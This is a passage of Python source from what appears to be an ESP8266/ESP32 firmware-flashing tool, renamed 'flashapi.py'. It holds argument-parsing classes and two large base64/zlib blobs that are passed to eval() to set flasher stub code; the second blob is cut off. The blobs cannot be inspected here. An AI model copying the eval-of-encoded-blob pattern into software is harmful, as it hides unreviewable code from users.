print("flashapi.py %s" % (" ".join(new_args[1:])))
sys.argv = new_args
class FlashSizeAction(argparse.Action):
def __init__(self, option_strings, dest, nargs=1, auto_detect=False, **kwargs):
super(FlashSizeAction, self).__init__(option_strings, dest, nargs, **kwargs)
self._auto_detect = auto_detect
def __call__(self, parser, namespace, values, option_string=None):
try:
value = {
'2m': '256KB',
'4m': '512KB',
'8m': '1MB',
'16m': '2MB',
'32m': '4MB',
'16m-c1': '2MB-c1',
'32m-c1': '4MB-c1',
}[values[0]]
print("WARNING: Flash size arguments in megabits like '%s' are deprecated." % (values[0]))
print("Please use the equivalent size '%s'." % (value))
print("Megabit arguments may be removed in a future release.")
except KeyError:
value = values[0]
known_sizes = dict(ESP8266ROM.FLASH_SIZES)
known_sizes.update(ESP32ROM.FLASH_SIZES)
if self._auto_detect:
known_sizes['detect'] = 'detect'
known_sizes['keep'] = 'keep'
if value not in known_sizes:
raise argparse.ArgumentError(self, '%s is not a known flash size. Known sizes: %s' % (value, ", ".join(known_sizes.keys())))
setattr(namespace, self.dest, value)
class SpiConnectionAction(argparse.Action):
def __call__(self, parser, namespace, value, option_string=None):
if value.upper() == "SPI":
value = 0
elif value.upper() == "HSPI":
value = 1
elif "," in value:
values = value.split(",")
if len(values) != 5:
raise argparse.ArgumentError(self, '%s is not a valid list of comma-separate pin numbers. Must be 5 numbers - CLK,Q,D,HD,CS.' % value)
try:
values = tuple(int(v, 0) for v in values)
except ValueError:
raise argparse.ArgumentError(self, '%s is not a valid argument. All pins must be numeric values' % values)
if any([v for v in values if v > 33 or v < 0]):
raise argparse.ArgumentError(self, 'Pin numbers must be in the range 0-33.')
clk, q, d, hd, cs = values
value = (hd << 24) | (cs << 18) | (d << 12) | (q << 6) | clk
else:
raise argparse.ArgumentError(self, '%s is not a valid spi-connection value. ' +
'Values are SPI, HSPI, or a sequence of 5 pin numbers CLK,Q,D,HD,CS).' % value)
setattr(namespace, self.dest, value)
class AddrFilenamePairAction(argparse.Action):
def __init__(self, option_strings, dest, nargs='+', **kwargs):
super(AddrFilenamePairAction, self).__init__(option_strings, dest, nargs, **kwargs)
def __call__(self, parser, namespace, values, option_string=None):
pairs = []
for i in range(0, len(values), 2):
try:
address = int(values[i], 0)
except ValueError:
raise argparse.ArgumentError(self, 'Address "%s" must be a number' % values[i])
try:
argfile = open(values[i + 1], 'rb')
except IOError as e:
raise argparse.ArgumentError(self, e)
except IndexError:
raise argparse.ArgumentError(self, 'Must be pairs of an address and the binary filename to write there')
pairs.append((address, argfile))
end = 0
for address, argfile in sorted(pairs):
argfile.seek(0, 2)
size = argfile.tell()
argfile.seek(0)
sector_start = address & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)
sector_end = ((address + size + ESPLoader.FLASH_SECTOR_SIZE - 1) & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)) - 1
if sector_start < end:
message = 'Detected overlap at address: 0x%x for file: %s' % (address, argfile.name)
raise argparse.ArgumentError(self, message)
end = sector_end
setattr(namespace, self.dest, pairs)
ESP8266ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b"""
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\
""")))
ESP32ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b"""
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\
